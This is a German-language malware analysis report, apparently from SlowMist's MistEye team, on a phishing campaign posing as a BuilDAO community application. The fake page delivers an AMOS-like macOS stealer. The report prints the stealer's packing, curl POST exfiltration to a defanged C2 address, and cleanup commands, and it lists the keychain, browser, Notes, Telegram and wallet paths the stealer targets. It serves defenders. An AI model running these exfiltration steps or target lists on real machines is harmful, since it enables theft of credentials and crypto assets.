Zusammenfassung
Am 8. Juli 2026 meldete Bruce Xu ( @brucexu_eth ) einen Phishing-Link, der sich als BuilDAO / Builder Community-Antragsseite tarnt. Der Angreifer hostete die Seite auf Google Sites und nutzte die vertrauenswürdige Anmutung von sites.google.com, um die Wachsamkeit der Nutzer zu senken. Der erste Teil der Seite simuliert ein Community-Antragsformular und fordert Nutzer auf, Angaben zu Standort, Identität, Projektlink, Beitrittswünschen usw. auszufüllen. Nach dem Absenden wird jedoch kein normaler Prüfungsprozess durchlaufen, sondern zu einer gefälschten Sicherheitsüberprüfungsseite weitergeleitet.
Auf der Seite der zweiten Phase fälscht der Angreifer technische Formulierungen wie „api_error_401“, „OAuth 2.0“, „macOS-Sicherheitsprüfungen“ usw., um Benutzer dazu zu verleiten, eine Datei „.scpt“ herunterzuladen oder einen „Terminal Command“ in ein Terminal zur Ausführung einzufügen. Nach dem Decodieren lässt sich bestätigen, dass der Befehl ein macOS-Mach-O-Trojaner namens „unix32385485“ von einem Server des Angreifers herunterlädt und im Hintergrund ausführt.
Die statische Reverse-Analyse zeigt, dass es sich bei dem Sample um einen macOS-Informationsdiebstahl-Trojaner handelt. Die Verhaltensmerkmale stimmen stark mit den Varianten AMOS / Atomic macOS Stealer überein. Die Hauptziele sind unter anderem Browser-Zugangsdaten und Cookies, Keychain, Apple Notes, Safari-Cookies, Systeminformationen sowie verschiedene Krypto-Wallet-Daten.
Screenshot des Feedbacks zur ursprünglichen Ermittlung
MistEye-Antwort
MistEye ist ein von SlowMist selbst entwickeltes System für Web3-Threat Intelligence und dynamische Sicherheitsüberwachung. Es integriert Sicherheitsüberwachung und Intelligence-Aggregation, um Nutzern Echtzeit-Risiko-Warnungen und Schutz für Assets bereitzustellen.
MistEye hat das Risiko bereits sofort über den Threat-Intelligence-Update-Feed und den Kunden-Alarm-Kanal synchronisiert.

1. Hintergrund des Ereignisses
Die anfängliche Spur dieses Vorfalls stammt von Bruce Xu (@brucexu_eth) durch den Ermittlungsaustausch/Feedback. Der Phishing-Link wurde als Eingangsseite für einen Antrag in einer bestimmten Builder-Community verpackt. Der Text auf der Seite betont „verified founders, builders, VCs, speakers and influencers“ sowie „Only serious members, no scams“ und versucht dadurch eine Atmosphäre echter Community-Auswahl und Anti-Fraud-Prüfung zu simulieren.
2. Erste Phase: Tarnung als Community-Antragsformular
Der Angreifer wählt Google Sites als Trägerseite und bettet in der Seite eine Formular-UI ein, die wie Google Forms aussieht. Der Formular-Titel lautet „Apply“. Insgesamt ist das Ganze als BuilDAO-Antragsformular getarnt.

3. Zweite Phase: Fälschung einer OAuth-Sicherheitsprüfung
Nachdem das Formular eingereicht wurde, gelangt die Seite in eine gefälschte Sicherheitsprüfungsoberfläche. Der Angreifer verwendet einen blauen Google-Forms-ähnlichen Seitenkopf, den Fehlernamen api_error_401, sowie technische Begriffe wie OAuth 2.0, openid,profile,email und 401 Unauthorized. Zusammen mit fehlgeschlagenen Logs lässt er den Nutzer glauben, dies sei eine normale Kontosicherheitsprüfung.
Gefälschte OAuth-401-Sicherheitsprüfungsseite
4. Zustellmethode: .scpt und Terminal im Doppelkanal
Im Verification-Method-Abschnitt bietet der Angreifer zwei Wege: das empfohlene Herunterladen der .scpt-Datei oder die manuelle Installation über Terminal Command. Die Seite bereitet außerdem macOS Security FAQs vor, die erklären, was .scpt ist, wie man es ausführt, wie man Pop-ups von Gatekeeper behandelt und was man tun kann, wenn das Herunterladen fehlschlägt—um dann auf Terminal umzuschalten.
Diese FAQs wirken wie eine Hilfedokumentation, haben jedoch tatsächlich die Aufgabe, die anfängliche Zurückhaltung der Nutzer gegenüber Sicherheitswarnungen von macOS im Voraus zu beseitigen.
.scpt-Download- und Terminal-Command-Doppelkanal-Weiterleitungsseite
Die Köderbefehle in den lokalen Aufzeichnungen sind in Base64 verpackt und werden dann per base64 -d | bash ausgeführt. Nach dem Decoding lautet die Logik wie folgt. Um Fehl-Ausführungen zu vermeiden, wurden die folgenden URLs bereits deaktiviert:


5. Basisinformationen des Trojaner-Samples
Das heruntergeladene unix32385485 ist eine macOS Universal-Mach-O ausführbare Datei und enthält sowohl x86_64- als auch arm64-Architekturen; damit werden sowohl Intel-Macs als auch Apple-Silicon-Macs abgedeckt.

Das Sample importiert Fähigkeiten wie system, getenv, sleep, Datei-Lese-/Schreibfunktionen, popen/pclose sowie C++17 std::filesystem. Das zeigt, dass seine Kernaktivitäten vor allem in der Ausführung von Systembefehlen, Datei-Lese-/Schreibvorgängen, der Verzeichnisdurchsuchung und dem Packen von Daten liegen.
6. Zeichenfolgen-Obfuskation: XOR + xorshift32
Die sensiblen Zeichenfolgen im Sample wie Pfade, Befehle und C2-Adressen werden nicht im Klartext gespeichert, sondern befinden sich in verschlüsselten Blöcken im Abschnitt __const. Zur Laufzeit wird Block für Block entschlüsselt. In dieser Analyseaufzeichnung konnten insgesamt 104 Zeichenfolgen-Blöcke entschlüsselt werden.

Die entschlüsselten Schlüsselzeichenfolgen umfassen u. a.: /tmp/lksopo/, Keychains/login.keychain-db, Google/Chrome/, NoteStore.sqlite, Cookies.binarycookies, diverse Wallet-Verzeichnisse, Pack-/Packbefehl, Upload-Befehl sowie die C2-Adresse.
7. Analyse bösartiger Aktivitäten
7.1 Umgebungsabfrage und Initialisierung des Arbeitsverzeichnisses
Das Sample liest zuerst die Umgebungsvariable USER und prüft, ob der aktuelle Nutzer root ist. Anschließend erstellt es den Pfad zum Benutzerverzeichnis /Users//. Das temporäre Arbeitsverzeichnis lautet:
/tmp/lksopo/
Die Befehle zur Erfassung von Systeminformationen umfassen:

Diese Informationen können Angreifern helfen, die Systemversion, die Hardwareumgebung und die Informationen zu den Anzeigegeräten zu identifizieren. Sie können außerdem für eine spätere Anzeige im Bedienfeld oder zur Filterung der betroffenen Hosts verwendet werden.
7.2 Keychain- und Browserdaten-Diebstahl
Das Sample kopiert den macOS-Login-Keychain:
~/Library/Keychains/login.keychain-db
Außerdem werden Verzeichnisse im Zusammenhang mit Chromium und Gecko-Systemen gleichzeitig durchlaufen; Ziele sind unter anderem Chrome, Brave, Microsoft Edge, Vivaldi, Opera, Chromium, Arc, Firefox und Waterfox.
Diese Verzeichnisse enthalten typischerweise Login-Zugangsdaten, Cookies, Local Storage, Daten aus Browser-Erweiterungen und Sitzungsinformationen. Für Web3-Nutzer sind Browser-Erweiterungs-Wallets, Login-Sitzungen auf Handels-/Transaktionsplattformen und E-Mail-Sitzungen hochwertige Ziele.
7.3 Diebstahl von Safari-Cookies und Apple Notes
Das Sample versucht, Safari-Cookies zu kopieren:
~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/Cookies.binarycookies
Zusätzlich ist in dem Sample ein AppleScript eingebettet: Es ruft die Notes-App über osascript auf, durchsucht alle Notes-Konten und exportiert die Notiz-Erstellungszeiten und den Inhalt der Texte nach:
/tmp/lksopo/finder/notes.html
⚠️ Risikohinweis: Viele Nutzer speichern Mnemonics, Private Keys, Backup-Codes von Exchanges, 2FA-Wiederherstellungscodes und Serverpasswörter vorübergehend in Notes. Daher ist insbesondere das Exportieren von Notes besonders beachtenswert.
7.4 Diebstahl von Daten aus Krypto-Wallets
Das Sample deckt die Desktop-Wallets breiter ab; die in den entschlüsselten Zeichenfolgen vorkommenden Wallet-Ziele umfassen:
Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live,
Ledger Wallet, Monero, Bitcoin Core, Litecoin Core, Dash Core,
Electron Cash, Guarda, Dogecoin Core, Trezor Suite, Sparrow
Zu den typischen Pfaden gehören unter anderem:
.electrum/wallets/
Coinomi/wallets/
atomic/Local Storage/leveldb/
.walletwasabi/client/Wallets/
@trezor/suite-desktop/
.sparrow/wallets/
Das bedeutet, dass diese Zustellung keine gewöhnliche Konten-/Account-Diebstahl-Aktion ist, sondern eindeutig eine Vermögensdiebstahl-Aktivität, die sich an Krypto-Wallet-Nutzer und Mitglieder von Web3-Communities richtet.
7.5 Noch einige weitere Erfassung von Privatdaten
1 Telegram Desktop/tdata/ Telegram-Datenverzeichnis
2 key_datas lokale verschlüsselte Schlüsseldatei
3 /maps Mapping-Datendatei
key_datas ist die Kern-Datei von Telegram Desktop. Sie speichert den AES-Schlüssel zum Verschlüsseln der lokalen Datenbank (eine weit verbreitete symmetrische Verschlüsselungsalgorithmus; derselbe Schlüssel wird sowohl zum Verschlüsseln als auch zum Entschlüsseln verwendet). Nachdem diese Datei gestohlen wurde, kann der Angreifer die lokale Telegram-Datenbank des Opfers entschlüsseln und alle Chatverläufe, Kontakte und Mediendateien abrufen. /maps-Datei enthält Mapping-Infos für das tdata-Verzeichnis, um bestimmte Sitzung- bzw. Session-Daten des Nutzers zu lokalisieren. In der tdata-Verzeichnisstruktur von Telegram Desktop sind normalerweise zusätzlich Unterverzeichnisse enthalten, die nach Benutzerkennungen benannt sind (z. B. D877F783D5DEF8C); dort werden Sitzungs-Token und Benutzertag-Daten gespeichert.
macOS Keychain-Diebstahl
Entschlüsselte Pfade zur macOS-Keychain-Datenbank:
Keychains/login.keychain-db
login.keychain-db speichert die Systempasswörter, App-Passwörter, Zertifikate und Schlüssel des Nutzers. Nachdem diese Datei gestohlen wurde, kann der Angreifer die darin gespeicherten verschiedenen Zugangsdaten offline knacken.
Apple-Notes-Diebstahl
Entschlüsselte Pfade zur Apple-Notes-Datenbank:
1 Group Containers/group.com.apple.notes/NoteStore.sqlite
2 finder/NoteStore.sqlite
NoteStore.sqlite enthält alles, was Nutzer in Apples Notizen festhalten; es kann sensible Informationen enthalten, einschließlich Passwörtern, Notizen zum Speichern verschlüsselter Kryptowährungs-Mnemonics.
8. Packen, Exfiltration und Bereinigung
Das Sample sammelt die erfassten Daten zunächst in /tmp/lksopo/ und packt sie anschließend mit ditto:
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip
Anschließend wird es per HTTP POST an C2 hochgeladen. Die folgenden Befehle wurden deaktiviert:
curl -X POST
-H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a"
-H "username: night"
--data-binary @/tmp/lksopo.zip
hxxp://86[.]54[.]25[.]213/log
Nach Abschluss des Uploads löscht das Sample das temporäre Verzeichnis und das komprimierte Paket:
rm -rf /tmp/lksopo
rm -f /tmp/lksopo.zip
Wenn man die C2-Basisadresse aufruft, kann man außerdem eine Login-Seite sehen. Das deutet darauf hin, dass der Server möglicherweise gleichzeitig die Auslieferung des Trojaners, das Empfangen von Logs und Funktionen für das Backend-Management bereitstellt.
Hintergrund-Login-Seite, die die C2-Basisadresse offenlegt
9. Rekonstruktion der Angriffskette

10. IOC
10.1 Netzwerk-IOC

10.2 Host-IOC

10.3 Dateihash

Fazit
Dieses Fallbeispiel zeigt den jüngsten Trend bei Phishing-Zustellungen, der sich an Web3-Nutzer richtet: Angreifer verlassen sich nicht mehr nur auf gefälschte Airdrops oder gefälschte Wallet-Seiten. Stattdessen konstruieren sie eine scheinbar plausible Abfolge „Community-Antrag – Sicherheitsprüfung – Terminal-Verifizierung“, indem sie Elemente wie Google Sites, Google-Forms-ähnliche UI, OAuth-Fehlerseiten und macOS Security FAQs nutzen. Die eigentliche Payload ist jedoch ein macOS-Spionagetrojaner, dessen Ziel direkt auf Browser-Login-Sitzungen, Keychain, Notes und Krypto-Wallets gerichtet ist.
Die entscheidende Verteidigungslinie solcher Angriffe besteht nicht nur darin, die Echtheit von Domains zu erkennen, sondern vor allem darin, ob das Verhalten plausibel ist: Wenn irgendeine Webseite den Nutzer dazu auffordert, ein Skript herunterzuladen, .scpt auszuführen oder Terminal-/PowerShell-Befehle zu kopieren, sollte dies als Hochrisiksignal betrachtet werden. Für Web3-Nutzer gehören Browser, Notes, Desktop-Wallets und zugehörige Software für Hardware-Wallets zur Kern-Asset-Grenze. Sobald solche Befehle ausgeführt wurden, sollten umgehend Notfallmaßnahmen getroffen werden, als wären Assets und Zugangsdaten kompromittiert.
Über MistEye
MistEye ist eine von SlowMist selbst entwickelte Web3-Threat-Intelligence- und dynamische Sicherheits-Überwachungsplattform. Sie bietet über die API Fähigkeiten zur Erkennung bösartiger Aktivitäten aus dem Open-Source-Paket-Ökosystem und zur Warnung vor Lieferkettenrisiken.
Alle in dieser Aktion betroffenen bösartigen Pakete und IOCs wurden in die MistEye-Bedrohungserkennungs-Engine integriert. Entwickler können über die API Projektabhängigkeiten automatisiert prüfen, schnell feststellen, ob sie ein bekanntes bösartiges Paket treffen, und Empfehlungen zur Vorgehensweise erhalten.
📖 API-Dokumentation: https://app.misteye.io/api-docs
🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan Leichtgewichtiges CLI-Tool: Scannt mit einem Einzeiler die Projektabhängigkeiten und bereits bekannte bösartige Pakete in global installierten Paketen; unterstützt npm / PyPI / Cargo / Go / RubyGems-Ökosysteme
🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills AI-Coding-Assistenten-Sicherheits-Skill-Paket: löst vor der Abhängigeinstallation und dem Aufruf von URLs automatisch eine MistEye-Sicherheitsprüfung aus

